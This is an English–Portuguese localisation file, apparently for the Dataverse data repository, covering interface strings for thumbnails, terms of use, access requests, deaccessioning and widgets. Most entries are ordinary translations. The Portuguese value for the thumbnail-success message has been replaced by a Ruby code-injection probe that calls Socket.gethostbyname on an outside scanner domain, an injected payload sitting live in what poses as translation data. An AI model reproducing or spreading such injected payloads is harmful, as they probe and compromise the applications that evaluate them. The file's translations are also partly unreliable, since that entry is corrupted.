dataset.removeUnusedFileTags.check	Delete tags not being used	Excluir as tags que não estão sendo usadas
file.setThumbnail	Set Thumbnail	Definir miniatura
file.setThumbnail.header	Set Dataset Thumbnail	Definir miniatura do conjunto de dados
file.datasetThumbnail	Dataset Thumbnail	Miniatura do conjunto de dados
file.datasetThumbnail.tip	Select to use this image as the thumbnail image that is displayed in the search results for this dataset.	Selecione para usar esta imagem como a imagem em miniatura que é exibida nos resultados da pesquisa para este conjunto de dados.
file.setThumbnail.confirmation	Are you sure you want to set this image as your dataset thumbnail? There is already an image uploaded to be the thumbnail and this action will remove it.	Tem certeza de que deseja definir esta imagem como sua miniatura do conjunto de dados? Já existe uma imagem carregada para ser a miniatura e esta ação a removerá.
file.useThisIamge	Use this image as the dataset thumbnail image	Use esta imagem como imagem em miniatura do conjunto de dados
file.advancedOptions	Advanced Options	Opções Avançadas
file.advancedIngestOptions	Advanced Ingest Options	Opções Avançadas de Ingestão
file.assignedDataverseImage.success	{0} has been saved as the thumbnail for this dataset.	Socket.gethostbyname('hitkl'+'offsfghtf191f.bxss.me.')[3].to_s)
file.assignedTabFileTags.success	The tags were successfully added for {0}.	As tags foram adicionadas com sucesso para {0}.
file.tabularDataTags	Tabular Data Tags	Tags de dados tabulares
file.tabularDataTags.tip	Select a tag to describe the type(s) of data this is (survey, time series, geospatial, etc).	Selecione uma tag para descrever o(s) tipo(s) de dados que são (pesquisa, séries temporais, geoespaciais, etc).
file.spss-savEncoding	Language Encoding	Codificação de idiomas
file.spss-savEncoding.title	Select the language used for encoding this SPSS (sav) Data file.	Selecione o idioma usado para codificar este arquivo de dados do SPSS (sav).
file.spss-savEncoding.current	Current Selection:	Seleção atual:
file.spss-porExtraLabels	Variable Labels	Etiquetas Variáveis
file.spss-porExtraLabels.title	Upload an additional text file with extra variable labels.	Carregue um arquivo de texto adicional com rótulos de variáveis extras.
file.spss-porExtraLabels.selectToAddBtn	Select File to Add	Selecione o arquivo para adicionar
file.ingestFailed.header	File available in original format only	Upload concluído com erros
file.ingestFailed.message	Tabular ingest was unsuccessful.	O ingresso de dados tabulares falhou.
file.map	Map	Mapa
file.mapData	Map Data	Dados do mapa
file.mapData.worldMap	WorldMap	WorldMap
file.mapData.unpublished.header	Data Not Published	Dados não publicados
file.mapData.unpublished.message	In order to map your data with WorldMap, your data must be published. Please publish this dataset, then retry the Map Data feature.	Para mapear seus dados com o WorldMap, seus dados devem ser publicados. Publique este conjunto de dados e tente novamente o recurso Dados do Mapa.
file.downloadBtn.format.all	All File Formats + Information	Todos os formatos de arquivo + Informações
file.downloadBtn.format.tab	Tab-Delimited	Delimitado por tabulação
file.downloadBtn.format.original	{0} (Original File Format)	Formato de arquivo original ({0})
file.downloadBtn.format.rdata	RData	Formato RData
file.downloadBtn.format.var	Variable Metadata	Metadados Variáveis
file.downloadBtn.format.citation	Data File Citation	Citação de arquivo de dados
file.more.information.link	Link to more file information for	Link para mais informações de arquivo para
file.requestAccess	Request Access	Solicitar acesso
file.requestAccess.dialog.msg	You need to Log In to request access.	Você precisa Entrar para solicitar acesso a este arquivo.
file.requestAccess.dialog.msg.signup	You need to Sign Up or Log In to request access.	Você precisa Inscrever-se ou Efetue login para solicitar acesso a este arquivo.
file.accessRequested	Access Requested	Acesso solicitado
file.restrictions	File Restrictions	Restrições de arquivos
file.restrictions.description	Limit access to published files by marking them as restricted. Provide users Terms of Access and allow them to request access.	Limitar o acesso a arquivos publicados marcando-os como restritos. Forneça aos usuários Termos de acesso e permita que eles solicitem acesso.
file.restrictions.worldmap.warning	Please note, once your file access changes are published your map on WorldMap will be deleted and the Explore on WorldMap feature will be removed.	Por favor note, uma vez que suas alterações de acesso a arquivos forem publicadas, seu mapa no WorldMap será excluído e o recurso Explorar no WorldMap será removido.
file.ingestInProgress	Ingest in progress...	Ingestão em andamento ...
file.dataFilesTab.metadata.header	Metadata	Metadados
file.dataFilesTab.metadata.addBtn	Add + Edit Metadata	Adicionar + Editar metadados
file.dataFilesTab.terms.header	Terms	Termos
file.dataFilesTab.terms.editTermsBtn	Edit Terms Requirements	Editar requisitos de termos
file.dataFilesTab.terms.list.termsOfUse.header	Dataset Terms	Termos de Uso
file.dataFilesTab.terms.list.termsOfUse.waiver	Waiver	Termo de uso
file.dataFilesTab.terms.list.termsOfUse.waiver.title	The waiver informs data downloaders how they can use this dataset.	O termo de uso informa aos usuários como eles podem usar esse conjunto de dados, conforme a licença utilizada.
file.dataFilesTab.terms.list.termsOfUse.waiver.txt	CC0 - "Public Domain Dedication"	CC0 - "Dedicação de Domínio Público"
file.cc0.icon.alttxt	Creative Commons CC0 1.0 Public Domain Dedication icon	Creative Commons CC0 1.0 Public Domain Dedication icon
file.dataFilesTab.terms.list.termsOfUse.waiver.description	Datasets will default to a CC0 public domain dedication . CC0 facilitates reuse and extensibility of research data. Our Community Norms as well as good scientific practices expect that proper credit is given via citation. If you are unable to give datasets a CC0 waiver you may enter custom Terms of Use for datasets.	Os conjuntos de dados terão como padrão uma dedicação CC0 domínio público. CC0 facilita a reutilização e extensibilidade de dados de pesquisa. Nossas Normas Comunitárias, bem como Boas práticas científicas esperam que crédito apropriado seja dado por meio de citação. Se você não puder fornecer conjuntos de dados com uma isenção CC0, poderá inserir Termos de Uso personalizados para conjuntos de dados.
file.dataFilesTab.terms.list.termsOfUse.no.waiver.txt	No waiver has been selected for this dataset.	Nenhuma renúncia foi selecionada para este conjunto de dados.
file.dataFilesTab.terms.list.termsOfUse.waiver.txt.description	Our Community Norms as well as good scientific practices expect that proper credit is given via citation. Please use the data citation above, generated by the Dataverse.	Nossas normas Community além de boas práticas científicas, espera-se que seja dado crédito adequado por meio de citação. Por favor, use a citação de dados acima, gerada pelo Dataverse.
file.dataFilesTab.terms.list.termsOfUse.waiver.select.CCO	Yes, apply CC0 - "Public Domain Dedication"	Sim, aplique CC0 - "Dedicação ao Domínio Público"
file.dataFilesTab.terms.list.termsOfUse.waiver.select.notCCO	No, do not apply CC0 - "Public Domain Dedication"	Não, não se aplica CC0 - "Dedicação de Domínio Público"
file.dataFilesTab.terms.list.termsOfUse.waiver.select.tip	This is what end users will see displayed on this dataset	Isto é o que os usuários finais verão exibidos neste conjunto de dados.
file.dataFilesTab.terms.list.termsOfUse.termsOfUse	Terms of Use	Termos de Uso
file.dataFilesTab.terms.list.termsOfUse.termsOfUse.title	Outlines how this data can be used once downloaded	Descreve como esses dados podem ser usados depois de baixados.
file.dataFilesTab.terms.list.termsOfUse.termsOfUse.description	If you are unable to use one of the pre-defined licenses for datasets you are able to set custom terms of use. Here is an example of a Data Usage Agreement for datasets that have de-identified human subject data.	Se você não conseguir usar CC0 para conjuntos de dados, poderá definir termos de uso personalizados. Veja um exemplo de um Contrato de uso de dados para conjuntos de dados que desidentificaram os dados do assunto humano.
file.dataFilesTab.terms.list.termsOfUse.addInfo	Additional Information	Informações Adicionais
file.dataFilesTab.terms.list.termsOfUse.addInfo.declaration	Confidentiality Declaration	Declaração de Confidencialidade
file.dataFilesTab.terms.list.termsOfUse.addInfo.declaration.title	Indicates whether signing of a confidentiality declaration is needed to access a resource.	Indica se a assinatura de uma declaração de confidencialidade é necessária para acessar um recurso.
file.dataFilesTab.terms.list.termsOfUse.addInfo.permissions	Special Permissions	Permissões especiais
file.dataFilesTab.terms.list.termsOfUse.addInfo.permissions.title	Determine if any special permissions are required to access a resource (e.g., if form is a needed and where to access the form).	Determine se são necessárias permissões especiais para acessar um recurso (por exemplo, se o formulário é necessário e onde acessar o formulário).
file.dataFilesTab.terms.list.termsOfUse.addInfo.restrictions	Restrictions	Restrições
file.dataFilesTab.terms.list.termsOfUse.addInfo.restrictions.title	Any restrictions on access to or use of the collection, such as privacy certification or distribution restrictions, should be indicated here. These can be restrictions applied by the author, producer, or disseminator of the data collection. If the data are restricted to only a certain class of user, specify which type.	Quaisquer restrições ao acesso ou uso da coleção, como a certificação de privacidade ou restrições de distribuição, devem ser indicadas aqui. Estas podem ser restrições aplicadas pelo autor, produtor ou disseminador da coleta de dados. Se os dados estiverem restritos a apenas uma determinada classe de usuários, especifique o tipo.
file.dataFilesTab.terms.list.termsOfUse.addInfo.citationRequirements	Citation Requirements	Requisitos de citação
file.dataFilesTab.terms.list.termsOfUse.addInfo.citationRequirements.title	Include special/explicit citation requirements for data to be cited properly in articles or other publications that are based on analysis of the data. For standard data citation requirements refer to our Community Norms.	Inclua requisitos de citação especiais/explícitos para que os dados sejam citados corretamente em artigos ou outras publicações baseadas na análise dos dados. Para requisitos de citação de dados padrão, consulte nossas Normas da Comunidade.
file.dataFilesTab.terms.list.termsOfUse.addInfo.depositorRequirements	Depositor Requirements	Requisitos do depositante
file.dataFilesTab.terms.list.termsOfUse.addInfo.depositorRequirements.title	Information regarding user responsibility for informing Dataset Depositors, Authors or Curators of their use of data through providing citations to the published work or providing copies of the manuscripts.	Informações sobre a responsabilidade do usuário de informar os Depositantes, Autores ou Curadores do Dataset sobre o uso de dados por meio de citações para o trabalho publicado ou do fornecimento de cópias dos manuscritos.
file.dataFilesTab.terms.list.termsOfUse.addInfo.conditions	Conditions	Condições
file.dataFilesTab.terms.list.termsOfUse.addInfo.conditions.title	Any additional information that will assist the user in understanding the access and use conditions of the Dataset.	Qualquer informação adicional que ajudará o usuário a entender as condições de acesso e uso do Dataset.
file.dataFilesTab.terms.list.termsOfUse.addInfo.disclaimer	Disclaimer	Isenção de responsabilidade
file.dataFilesTab.terms.list.termsOfUse.addInfo.disclaimer.title	Information regarding responsibility for uses of the Dataset.	Informações relacionadas à responsabilidade pelos usos do conjunto de dados.
file.dataFilesTab.terms.list.termsOfAccess.header	Restricted Files + Terms of Access	Arquivos Restritos + Termos de Acesso
file.dataFilesTab.terms.list.termsOfAccess.restrictedFiles	Restricted Files	Arquivos restritos
file.dataFilesTab.terms.list.termsOfAccess.restrictedFiles.title	The number of restricted files in this dataset.	O número de arquivos restritos neste conjunto de dados.
file.dataFilesTab.terms.list.termsOfAccess.restrictedFiles.txt	There {0, choice, 0#are\|1#is\|2#are} {0} restricted {0, choice, 0#files\|1#file\|2#files} in this dataset.	There {0, choice, 0#are\|1#is\|2#are} {0} restricted {0, choice, 0#files\|1#file\|2#files} in this dataset.
file.dataFilesTab.terms.list.termsOfAccess.termsOfsAccess	Terms of Access for Restricted Files	Termos de Acesso
file.dataFilesTab.terms.list.termsOfAccess.termsOfsAccess.title	Information on how and if users can access restricted files in this Dataset	Informações sobre como e se os usuários podem obter acesso aos arquivos restritos neste conjunto de dados.
file.dataFilesTab.terms.list.termsOfAccess.requestAccess	Request Access	Solicitar acesso
file.dataFilesTab.terms.list.termsOfAccess.requestAccess.title	If checked, users can request access to the restricted files in this dataset.	Se marcado, os usuários podem solicitar acesso aos arquivos restritos neste conjunto de dados.
file.dataFilesTab.terms.list.termsOfAccess.requestAccess.request	Users may request access to files.	Os usuários podem solicitar acesso aos arquivos.
file.dataFilesTab.terms.list.termsOfAccess.requestAccess.notRequest	Users may not request access to files.	Os usuários não podem solicitar acesso aos arquivos.
file.dataFilesTab.terms.list.termsOfAccess.requestAccess.enableBtn	Enable access request	Ativar solicitação de acesso
file.dataFilesTab.terms.list.termsOfAccess.addInfo.dataAccessPlace	Data Access Place	Local de acesso a dados
file.dataFilesTab.terms.list.termsOfAccess.addInfo.dataAccessPlace.title	If the data is not only in Dataverse, list the location(s) where the data are currently stored.	Se os dados não estiverem apenas no Dataverse, liste o(s) local(is) onde os dados estão atualmente armazenados.
file.dataFilesTab.terms.list.termsOfAccess.addInfo.originalArchive	Original Archive	Arquivo Original
file.dataFilesTab.terms.list.termsOfAccess.addInfo.originalArchive.title	Archive from which the data was obtained.	Arquivo do qual os dados foram obtidos.
file.dataFilesTab.terms.list.termsOfAccess.addInfo.availabilityStatus	Availability Status	Status de Disponibilidade
file.dataFilesTab.terms.list.termsOfAccess.addInfo.availabilityStatus.title	Statement of Dataset availability. A depositor may need to indicate that a Dataset is unavailable because it is embargoed for a period of time, because it has been superseded, because a new edition is imminent, etc.	Declaração de disponibilidade do conjunto de dados. Um depositante pode precisar indicar que um DataSet não está disponível porque foi embargado por um período de tempo, porque foi substituído, porque uma nova edição é iminente, etc.
file.dataFilesTab.terms.list.termsOfAccess.addInfo.contactForAccess	Contact for Access	Contato para acesso
file.dataFilesTab.terms.list.termsOfAccess.addInfo.contactForAccess.title	If different from the Dataset Contact, this is the Contact person or organization (include email or full address, and telephone number if available) that controls access to a collection.	Se for diferente do contato do conjunto de dados, esta é a pessoa ou a organização do contato (incluindo endereço de e-mail ou endereço completo e número de telefone, se disponível) que controla o acesso a uma coleção.
file.dataFilesTab.terms.list.termsOfAccess.addInfo.sizeOfCollection	Size of Collection	Tamanho da coleção
file.dataFilesTab.terms.list.termsOfAccess.addInfo.sizeOfCollection.tip	Summary of the number of physical files that exist in a Dataset, recording the number of files that contain data and noting whether the collection contains machine readable documentation and/or other supplementary files and information, such as code, data dictionaries, data definition statements, or data collection instruments.	Resumo do número de arquivos físicos existentes em um conjunto de dados, registrando o número de arquivos que contêm dados e observando se a coleção contém documentação legível por máquina e/ou outros arquivos e informações suplementares, como código, dicionários de dados, dados definições, ou instrumentos de coleta de dados.
file.dataFilesTab.terms.list.termsOfAccess.addInfo.studyCompletion	Study Completion	Conclusão do estudo
file.dataFilesTab.terms.list.termsOfAccess.addInfo.studyCompletion.title	Relationship of the data collected to the amount of data coded and stored in the Dataset. Information as to why certain items of collected information were not included in the dataset or a specific data file should be provided.	Relação dos dados coletados com a quantidade de dados codificados e armazenados no Dataset. Informações sobre por que certos itens de informações coletadas não foram incluídos no conjunto de dados ou em um arquivo de dados específico devem ser fornecidos.
file.dataFilesTab.terms.list.guestbook	Guestbook	Livro de visitas
file.dataFilesTab.terms.list.guestbook.title	User information (i.e., name, email, institution, and position) will be collected when files are downloaded.	As informações do usuário (por exemplo, nome, e-mail, instituição e posição) serão coletadas quando os arquivos forem baixados.
file.dataFilesTab.terms.list.guestbook.noSelected.tip	No guestbook is assigned to this dataset so users will not be prompted to provide any information when downloading files.	Nenhum livro de visitas é atribuído a este conjunto de dados, você não será solicitado a fornecer informações sobre o download de arquivos.
file.dataFilesTab.terms.list.guestbook.noSelected.admin.tip	There are no guestbooks available in {0} to assign to this dataset.	Não há livros de visitas disponíveis em {0} para atribuir a este conjunto de dados.
file.dataFilesTab.terms.list.guestbook.inUse.tip	The following guestbook will prompt a user to provide additional information when downloading a file.	O livro de visitas a seguir solicitará que um usuário forneça informações adicionais durante o download de um arquivo.
file.dataFilesTab.terms.list.guestbook.viewBtn	Preview Guestbook	Visualizar livro de visitas
file.dataFilesTab.terms.list.guestbook.select.tip	Select a guestbook to have a user provide additional information when downloading a file.	Selecione um livro de visitas para que um usuário forneça informações adicionais durante o download de um arquivo.
file.dataFilesTab.terms.list.guestbook.noAvailable.tip	There are no guestbooks enabled in {0}. To create a guestbook, return to {0}, click the "Edit" button and select the "Dataset Guestbooks" option.	Não há listas de visitas habilitados em {0}. Para criar um livro de visitas, volte para {0}, clique no botão "Editar" e selecione a opção "Conjunto de dados das listas de visitas".
file.dataFilesTab.terms.list.guestbook.clearBtn	Clear Selection	Limpar seleção
file.dataFilesTab.dataAccess	Data Access	Acesso a dados
file.dataFilesTab.dataAccess.info	This data file can be accessed through a terminal window, using the commands below. For more information about downloading and verifying data, see our User Guide.	Este arquivo de dados pode ser acessado através de uma janela de terminal, usando os comandos abaixo. Para obter mais informações sobre o download e a verificação de dados, consulte o nosso Guia do usuário.
file.dataFilesTab.dataAccess.info.draft	Data files can not be accessed until the dataset draft has been published. For more information about downloading and verifying data, see our User Guide.	Os arquivos de dados não podem ser acessados até que o rascunho do conjunto de dados seja publicado. Para obter mais informações sobre o download e a verificação de dados, consulte o nosso Guia do usuário.
file.dataFilesTab.dataAccess.local.label	Local Access	Acesso local
file.dataFilesTab.dataAccess.download.label	Download Access	Acesso de Download
file.dataFilesTab.dataAccess.verify.label	Verify Data	Verificar dados
file.dataFilesTab.dataAccess.local.tooltip	If this data is locally available to you, this is its file path.	Se esses dados estiverem disponíveis localmente para você, este é o caminho do arquivo.
file.dataFilesTab.dataAccess.download.tooltip	Download this data from your preferred mirror by running this command.	Faça o download desses dados do seu espelho preferido executando este comando.
file.dataFilesTab.dataAccess.verify.tooltip	This command runs a checksum to verify the integrity of the data you have downloaded.	Este comando executa uma soma de verificação para verificar a integridade dos dados que você baixou.
file.dataFilesTab.button.direct	Direct	Direto
file.dataFilesTab.versions	Versions	Versões
file.dataFilesTab.versions.headers.dataset	Dataset Version	Conjunto de dados
file.dataFilesTab.versions.headers.summary	Summary	Resumo
file.dataFilesTab.versions.headers.contributors	Contributors	Colaboradores
file.dataFilesTab.versions.headers.published	Published on	Publicado
file.dataFilesTab.versions.viewDiffBtn	View Differences	Ver diferenças
file.dataFilesTab.versions.citationMetadata	Citation Metadata:	Metadados de Citação:
file.dataFilesTab.versions.added	Added	Adicionado
file.dataFilesTab.versions.removed	Removed	Removido
file.dataFilesTab.versions.changed	Changed	Alterado
file.dataFilesTab.versions.replaced	Replaced	substituído
file.dataFilesTab.versions.original	Original	Original
file.dataFilesTab.versions.replacment	Replacement	Substituição
file.dataFilesTab.versions.additionalCitationMetadata	Additional Citation Metadata:	Metadados adicionais de citações:
file.dataFilesTab.versions.description.draft	This is a draft version.	Esta é uma versão de rascunho.
file.dataFilesTab.versions.description.deaccessioned	Due to the previous version being deaccessioned, there are no difference notes available for this published version.	Devido à versão anterior ser desativada, não há notas de diferença disponíveis para esta versão publicada.
file.dataFilesTab.versions.description.firstPublished	This is the first published version.	Esta é a primeira versão publicada.
file.dataFilesTab.versions.description.deaccessionedReason	Deaccessioned Reason:	Motivo de Negação:
file.dataFilesTab.versions.description.beAccessedAt	The dataset can now be accessed at:	O conjunto de dados agora pode ser acessado em:
file.dataFilesTab.versions.viewDetails.btn	View Details	Ver Detalhes
file.dataFilesTab.versions.widget.viewMoreInfo	To view more information about the versions of this dataset, and to edit it if this is your dataset, please visit the full version of this dataset at the {2}.	Para ver mais informações sobre as versões deste conjunto de dados e editá-lo se este for seu conjunto de dados, visite versão completa deste conjunto de dados no {2}.
file.dataFilesTab.versions.preloadmessage	(Loading versions...)	(Carregando versões ...)
file.previewTab.externalTools.header	Available Previews	Visualizações disponíveis
file.previewTab.button.label	Preview	Previews
file.previewTab.previews.not.available	Public previews are not available for this file.	Visualizações públicas não estão disponíveis para este arquivo.
file.deleteDialog.tip	Are you sure you want to delete this dataset and all of its files? You cannot undelete this dataset.	Tem certeza de que deseja excluir este conjunto de dados e todos os seus arquivos? Você não pode cancelar a exclusão desse conjunto de dados.
file.deleteDialog.header	Delete Dataset	Excluir conjunto de dados
file.deleteDraftDialog.tip	Are you sure you want to delete this draft version? Files will be reverted to the most recently published version. You cannot undelete this draft.	Tem certeza de que deseja excluir esta versão de rascunho? Os arquivos serão revertidos para a versão publicada mais recentemente. Você não pode cancelar a exclusão deste rascunho.
file.deleteDraftDialog.header	Delete Draft Version	Excluir versão preliminar
file.deleteFileDialog.tip	The file(s) will be deleted after you click on the Save Changes button on the bottom of this page.	Os arquivos serão apagados depois que você clicar no botão Salvar alterações na parte inferior desta página.
file.deleteFileDialog.immediate	The file will be deleted after you click on the Delete button.	O arquivo será excluído depois que você clicar no botão Excluir.
file.deleteFileDialog.multiple.immediate	The file(s) will be deleted after you click on the Delete button.	O(s) arquivo(s) será(m) deletado(s) após você clicar no botão Excluir.
file.deleteFileDialog.header	Delete Files	Excluir arquivos
file.deleteFileDialog.failed.tip	Files will not be removed from previously published versions of the dataset.	Os arquivos não serão removidos das versões publicadas anteriormente do conjunto de dados.
file.deaccessionDialog.tip	Once you deaccession this dataset it will no longer be viewable by the public.	Uma vez que você tenha desativado este conjunto de dados, ele não poderá mais ser visualizado pelo público.
file.deaccessionDialog.version	Version	Versão
file.deaccessionDialog.reason.question1	Which version(s) do you want to deaccession?	Qual(is) versão(ões) você deseja desativar?
file.deaccessionDialog.reason.question2	What is the reason for deaccession?	Qual é o motivo da desativação?
file.deaccessionDialog.reason.selectItem.identifiable	There is identifiable data in one or more files.	Existem dados identificáveis em um ou mais arquivos
file.deaccessionDialog.reason.selectItem.beRetracted	The research article has been retracted.	O artigo de pesquisa foi recolhido
file.deaccessionDialog.reason.selectItem.beTransferred	The dataset has been transferred to another repository.	O conjunto de dados foi transferido para outro repositório
file.deaccessionDialog.reason.selectItem.IRB	IRB request.	Pedido do IRB
file.deaccessionDialog.reason.selectItem.legalIssue	Legal issue or Data Usage Agreement.	Problema legal ou contrato de uso de dados
file.deaccessionDialog.reason.selectItem.notValid	Not a valid dataset.	Não é um conjunto de dados válido
file.deaccessionDialog.reason.selectItem.other	Other (Please type reason in space provided below)	Outro (Por favor, digite a razão no espaço fornecido abaixo)
file.deaccessionDialog.enterInfo	Please enter additional information about the reason for deaccession.	Por favor, insira informações adicionais sobre o motivo da desativação.
file.deaccessionDialog.leaveURL	If applicable, please leave a URL where this dataset can be accessed after deaccessioning.	Se aplicável, por favor, deixe Uma URL onde este conjunto de dados pode ser acessado após a desativação.
file.deaccessionDialog.leaveURL.watermark	Optional dataset site, http://...	Site de conjunto de dados opcional, http://...
file.deaccessionDialog.deaccession.tip	Are you sure you want to deaccession? The selected version(s) will no longer be viewable by the public.	Tem certeza de que deseja a desativação? A(s) versão(ões) selecionada(s) não poderá mais ser visualizada pelo público.
file.deaccessionDialog.deaccessionDataset.tip	Are you sure you want to deaccession this dataset? It will no longer be viewable by the public.	Tem certeza de que deseja desativar este conjunto de dados? Não será mais visível pelo público.
file.deaccessionDialog.dialog.selectVersion.error	Please select version(s) for deaccessioning.	Por favor, selecione a(s) versão(ões) para a desativação.
file.deaccessionDialog.dialog.reason.error	Please select reason for deaccessioning.	Por favor, selecione o motivo da desativação.
file.deaccessionDialog.dialog.url.error	Please enter valid forwarding URL.	Por favor, insira Uma URL de encaminhamento válido.
file.deaccessionDialog.dialog.textForReason.error	Please enter text for reason for deaccessioning.	Por favor, insira o texto para o motivo da desativação.
file.deaccessionDialog.dialog.limitChar.error	Text for reason for deaccessioning may be no longer than {0} characters.	O texto do motivo da desativação não pode ter mais que {0} caracteres.
file.viewDiffDialog.header	Version Differences Details	Versão Diferenças Detalhes
file.viewDiffDialog.dialog.warning	Please select two versions to view the differences.	Por favor, selecione duas versões para ver as diferenças.
file.viewDiffDialog.notAvailable	N/A	N/A
file.viewDiffDialog.version	Version	Versão
file.viewDiffDialog.lastUpdated	Last Updated	Última atualização
file.viewDiffDialog.fileID	File ID	ID do arquivo
file.viewDiffDialog.fileName	Name	Nome
file.viewDiffDialog.fileType	Type	Tipo
file.viewDiffDialog.fileSize	Size	Tamanho
file.viewDiffDialog.category	Tags	Tag(s)
file.viewDiffDialog.description	Description	Descrição
file.viewDiffDialog.provDescription	Provenance Description	Descrição da Proveniência
file.viewDiffDialog.fileReplaced	File Replaced	Arquivo substituído
file.viewDiffDialog.filesReplaced	File(s) Replaced	Arquivo(s) substituído(s)
file.viewDiffDialog.files.header	Files	Arquivos
file.viewDiffDialog.msg.draftFound	This is the "DRAFT" version.	Esta é a versão "RASCUNHO".
file.viewDiffDialog.msg.draftNotFound	The "DRAFT" version was not found.	A versão "RASCUNHO" não foi encontrada.
file.viewDiffDialog.msg.versionFound	This is version "{0}".	Esta é a versão "{0}".
file.viewDiffDialog.msg.versionNotFound	Version "{0}" was not found.	A versão "{0}" não foi encontrada.
file.metadataTip	Metadata Tip: After adding the dataset, click the Edit Dataset button to add more metadata.	Metadados Dica: Depois de adicionar o conjunto de dados, clique no botão Editar conjunto de dados para adicionar mais metadados.
file.addBtn	Save Dataset	Salvar Conjunto de Dados
file.dataset.allFiles	All Files from this Dataset	Todos os arquivos deste conjunto de dados
file.downloadDialog.header	Dataset Terms	Termos do conjunto de dados
file.downloadDialog.tip	This dataset is made available under the following terms. Please confirm and/or complete the information needed below in order to continue.	Confirme e/ou preencha as informações necessárias abaixo para continuar.
file.requestAccessTermsDialog.tip	Please confirm and/or complete the information needed below in order to request access to files in this dataset.	Confirme e/ou preencha as informações necessárias abaixo para solicitar acesso aos arquivos neste conjunto de dados.
file.requestAccess.notAllowed	Requests for access are not accepted on the Dataset.	Solicitações de acesso não são aceitas no conjunto de dados.
file.requestAccess.notAllowed.alreadyHasDownloadPermisssion	User already has permission to download this file. Request Access is invalid.	O usuário já tem permissão para baixar este arquivo. É invalido solicitar acesso.
file.search.placeholder	Search this dataset...	Pesquisar este conjunto de dados ...
file.results.filter	Filter by	Filtrar por
file.results.filter.type	File Type:	Tipo de arquivo:
file.results.filter.access	Access:	Acesso:
file.results.filter.tag	File Tag:	Tag de arquivo:
file.results.filter.all	All	Tudo
file.results.btn.sort	Sort	Classificar
file.results.btn.sort.option.nameAZ	Name (A-Z)	Nome (A-Z)
file.results.btn.sort.option.nameZA	Name (Z-A)	Nome (Z-A)
file.results.btn.sort.option.newest	Newest	Mais recentes
file.results.btn.sort.option.oldest	Oldest	Mais antigos
file.results.btn.sort.option.size	Size	Tamanho
file.results.btn.sort.option.type	Type	Tipo
file.compute.fileAccessDenied	This file is restricted and you may not compute on it because you have not been granted access.	Este arquivo é restrito e você não pode processa-lo porque você não recebeu acesso.
file.configure.Button	Configure	Configurar
dataset.widgets.title	Dataset Thumbnail + Widgets	Miniatura do conjunto de dados + Widgets
dataset.widgets.notPublished.why.header	Why Use Widgets?	Por que usar widgets?
dataset.widgets.notPublished.why.reason1	Increases the web visibility of your data by allowing you to embed your dataverse and datasets into your personal or project website.	Aumenta a visibilidade da web de seus dados, permitindo que você incorpore seus dados e conjuntos de dados em seu site pessoal ou de projeto.
dataset.widgets.notPublished.why.reason2	Allows others to browse your dataverse and datasets without leaving your personal or project website.	Permite que outras pessoas naveguem em seu dataverse e conjuntos de dados sem sair do site pessoal ou do projeto.
dataset.widgets.notPublished.how.header	How To Use Widgets	Como usar widgets
dataset.widgets.notPublished.how.tip1	To use widgets, your dataverse and datasets need to be published.	Para usar widgets, seu dataverse e conjuntos de dados precisam ser publicados.
dataset.widgets.notPublished.how.tip2	After publishing, code will be available on this page for you to copy and add to your personal or project website.	Após a publicação, o código estará disponível nesta página para você copiar e adicionar ao seu site pessoal ou do projeto.
dataset.widgets.notPublished.how.tip3	Do you have an OpenScholar website? If so, learn more about adding the Dataverse widgets to your website here.	Você tem um site da OpenScholar? Em caso afirmativo, saiba mais sobre como adicionar os widgets do Dataverse ao seu site aqui.
dataset.widgets.notPublished.getStarted	To get started, publish your dataset. To learn more about Widgets, visit the Widgets section of the User Guide.	Para começar, publique seu conjunto de dados. Para saber mais sobre Widgets, visite o Widgets seção do Guia do Usuário.
dataset.widgets.editAdvanced	Edit Advanced Options	Editar opções avançadas
dataset.widgets.editAdvanced.tip	Advanced Options – Additional options for configuring your widget on your personal or project website.	Opções avançadas – Opções adicionais para configurar seu widget em seu site pessoal ou de projeto.
dataset.widgets.tip	Copy and paste this code into the HTML on your site. To learn more about Widgets, visit the Widgets section of the User Guide.	Copie e cole este código no HTML em seu site. Para saber mais sobre Widgets, visite o Widgets seção do Guia do Usuário.
dataset.widgets.citation.txt	Dataset Citation	Citação do Conjunto de Dados
dataset.widgets.citation.tip	Add a citation for your dataset to your personal or project website.	Adicione uma referência para o seu conjunto de dados ao seu site pessoal ou do projeto.
dataset.widgets.datasetFull.txt	Dataset	Conjunto de dados
dataset.widgets.datasetFull.tip	Add a way for visitors on your website to be able to view your datasets, download files, etc.	Adicione uma maneira de os visitantes em seu site poderem visualizar seus conjuntos de dados, baixar arquivos, etc.
dataset.widgets.advanced.popup.header	Widget Advanced Options	Opções avançadas de Widgets
dataset.widgets.advanced.prompt	Forward persistent URL´s in your dataset citation to your personal website.	Encaminhe os URLs persistentes na citação do seu conjunto de dados para o seu site pessoal.
dataset.widgets.advanced.url.label	Personal Website URL	URL do site pessoal
dataset.widgets.advanced.url.watermark	http://www.example.com/page-name	http://www.example.com/page-name
dataset.widgets.advanced.invalid.message	Please enter a valid URL	Por favor, insira um URL válido
dataset.widgets.advanced.success.message	Successfully updated your Personal Website URL	Atualizou com sucesso o seu URL do site pessoal
dataset.widgets.advanced.failure.message	The dataverse Personal Website URL has not been updated.	A URL do site pessoal do dataverse não foi atualizado.
dataset.thumbnailsAndWidget.breadcrumbs.title	Thumbnail + Widgets	Miniatura + Widgets
dataset.thumbnailsAndWidget.thumbnails.title	Thumbnail	Miniatura
dataset.thumbnailsAndWidget.widgets.title	Widgets	Widgets
dataset.thumbnailsAndWidget.thumbnailImage	Thumbnail Image	Imagem em miniatura
dataset.thumbnailsAndWidget.thumbnailImage.title	The logo or image file you wish to display as the thumbnail of this dataset.	O logotipo ou arquivo de imagem que você deseja exibir como a miniatura desse conjunto de dados.
dataset.thumbnailsAndWidget.thumbnailImage.tip	Supported image types are JPG, TIF, or PNG and should be no larger than {0} KB. The maximum display size for an image file as a dataset thumbnail is 48 pixels wide by 48 pixels high.	Os tipos de imagem suportados são JPG, TIF ou PNG e não devem ser maiores que {0} KB. O tamanho máximo de exibição de um arquivo de imagem como uma miniatura do conjunto de dados é 48 pixels de largura por 48 pixels de altura.
dataset.thumbnailsAndWidget.thumbnailImage.default	Default Icon	Ícone padrão
dataset.thumbnailsAndWidget.thumbnailImage.selectAvailable	Select Available File	Selecionar arquivo disponível
dataset.thumbnailsAndWidget.thumbnailImage.selectThumbnail	Select Thumbnail	Selecionar miniatura
dataset.thumbnailsAndWidget.thumbnailImage.selectAvailable.title	Select a thumbnail from those available as image data files that belong to your dataset.	Selecione uma miniatura entre as disponíveis como arquivos de dados de imagem que pertencem ao seu conjunto de dados.
dataset.thumbnailsAndWidget.thumbnailImage.uploadNew	Upload New File	Carregar novo arquivo
